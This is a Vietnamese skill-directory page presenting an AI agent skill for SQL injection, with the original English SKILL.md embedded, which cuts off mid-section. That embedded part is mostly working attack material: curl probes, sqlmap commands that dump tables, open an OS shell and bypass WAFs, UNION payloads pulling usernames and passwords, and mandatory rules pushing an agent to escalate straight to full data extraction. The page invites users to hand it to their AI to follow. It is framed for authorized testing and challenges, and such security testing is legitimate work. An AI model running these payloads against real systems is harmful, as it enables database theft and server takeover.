Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14080

sqli

Skill này làm gì

Skill này hướng dẫn agent kiểm tra xem các trường nhập có làm thay đổi truy vấn cơ sở dữ liệu hay không. Dành cho người kiểm thử bảo mật kiểm tra form, ô tìm kiếm và tham số URL.

Khi nào nên dùng

  • ✓Khi một trang nhận id, từ khóa tìm kiếm hoặc trường đăng nhập và bạn muốn kiểm tra nó để tìm SQL injection.
  • ✓Khi một rà soát bảo mật hỏi liệu truy vấn cơ sở dữ liệu có dùng tham số an toàn không.
  • ✓Khi bạn muốn dùng sqlmap để kiểm tra một URL hoặc form trong bài kiểm thử được ủy quyền.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem ô tìm kiếm trên trang tôi có thể dùng để chạy truy vấn cơ sở dữ liệu không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent gửi dấu nháy và các kiểm tra logic vào đầu vào, so sánh phản hồi hoặc thời gian, và dùng công cụ tự động khi xác nhận đầu vào đến được cơ sở dữ liệu.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

SQL Injection

Exploits unsanitized user input in SQL queries. Types: Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries.

Detection

# Single quote error test
curl -s 'https://<TARGET>/page?id=1%27' -o sqli_test_quote.txt

# Boolean test
curl -s 'https://<TARGET>/page?id=1+AND+1=1' -o sqli_true.txt
curl -s 'https://<TARGET>/page?id=1+AND+1=2' -o sqli_false.txt

# Time-based blind
curl -s 'https://<TARGET>/page?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\nTime: %{time_total}s\n' -o sqli_time.txt

sqlmap — Automated Exploitation

# Basic detection and exploitation
sqlmap -u 'https://<TARGET>/page?id=1' --batch --output-dir sqlmap_<TARGET>/

# Aggressive scan (higher risk/level)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_<TARGET>/

# POST request
sqlmap -u 'https://<TARGET>/login' --data 'user=admin&pass=test' --batch --output-dir sqlmap_<TARGET>/

# With cookies/headers
sqlmap -u 'https://<TARGET>/page?id=1' --cookie 'session=<TOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_<TARGET>/

# Enumerate databases
sqlmap -u 'https://<TARGET>/page?id=1' --batch --dbs --output-dir sqlmap_<TARGET>/

# Dump specific table
sqlmap -u 'https://<TARGET>/page?id=1' --batch -D <DATABASE> -T <TABLE> --dump --output-dir sqlmap_<TARGET>/

# OS shell (if stacked queries + privileges)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --os-shell --output-dir sqlmap_<TARGET>/

# Tamper scripts for WAF bypass
sqlmap -u 'https://<TARGET>/page?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_<TARGET>/

Blind SQLi Fast-Path (MANDATORY when tag is blind_sqli)

When the challenge tag includes blind_sqli, skip exploratory probing and go straight to confirmation + sqlmap:

  1. Run ONE time-based probe and ONE boolean differential in your first exploit bash call:
    # Time-based oracle confirmation
    curl -s "http://<TARGET>/page?id=1' AND SLEEP(5)--+-" --max-time 10 -w '\nTime: %{time_total}s\n' -o blind_time.txt
    # Boolean differential
    curl -s "http://<TARGET>/page?id=1' AND 1=1--+-" -o blind_true.txt
    curl -s "http://<TARGET>/page?id=1' AND 1=2--+-" -o blind_false.txt
    
  2. If either confirms (time delay ≥5s OR boolean diff in response) — launch sqlmap IMMEDIATELY:
    sqlmap -u "http://<TARGET>/page?id=1" --technique=BT --batch --dump --threads=5 \
      --output-dir sqlmap_blind/ 2>&1 | tee sqlmap_blind.log &
    
  3. Do NOT iterate manual character extraction. Once the time-based or boolean differential confirms the vector, the next bash call MUST launch sqlmap or a scripted harness — not another confirmation probe.

Manual-vs-Tool Decision Rule (MANDATORY)

Once SQLi is confirmed (any of: error string, boolean differential, time delay), follow this escalation:

State Action
SQLi confirmed, no extraction yet Run sqlmap --batch -u "<URL>" --dump --threads=5 FIRST
sqlmap fails or is blocked (WAF, custom encoding) Write ONE harness script (Python/bash) that does length-probe → binary-search → reconstruct in a single invocation
Harness produces partial output LET IT FINISH. Do NOT switch to manual curl probes. Do NOT edit_file the running harness.
Harness completes with partial extraction Submit/verify the partial result before launching a second harness

Anti-pattern: iterating dozens of manual single-character curls when sqlmap --dump would extract the same column in one invocation. Manual single-char extraction is a teaching exercise, not an attack technique against a confirmed sink.

Hard rule: once SQLi is confirmed (any of: error string, boolean differential, time delay), the next bash call MUST escalate to sqlmap or a scripted harness. Iterating manual character probes after confirmation is the canonical mis-allocation in this skill.

Manual Techniques

Union-Based

-- Determine column count
ORDER BY 1-- -
ORDER BY 2-- -
-- ... increment until error

-- Extract data via UNION
' UNION SELECT 1,2,3-- -
' UNION SELECT username,password,3 FROM users-- -
' UNION SELECT table_name,column_name,3 FROM information_schema.columns-- -

Error-Based (MySQL)

-- ExtractValue
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user FROM mysql.user LIMIT 1),0x7e))-- -

-- UpdateXML
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -

**Bl

Câu hỏi thường gặp

sqlmap làm gì?

Skill dùng sqlmap, một công cụ tự động hóa kiểm thử SQL injection, và nhắc đến các script tamper để vượt qua bộ lọc.

Nó có bao gồm blind injection không?

Có. Nó bao gồm các kiểm thử blind dựa trên boolean và thời gian, cùng các kiểm thử union và dựa trên lỗi.

Nó có thể trích xuất các bảng cơ sở dữ liệu không?

Skill chỉ cách liệt kê cơ sở dữ liệu và trích xuất một bảng đã chọn trong quá trình kiểm thử.

Chi tiết

Mô tả gốc của tác giả

SQL Injection — automated and manual exploitation of unsanitized SQL queries. Covers Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries. Includes sqlmap automation with WAF bypass tamper scripts.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14080
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự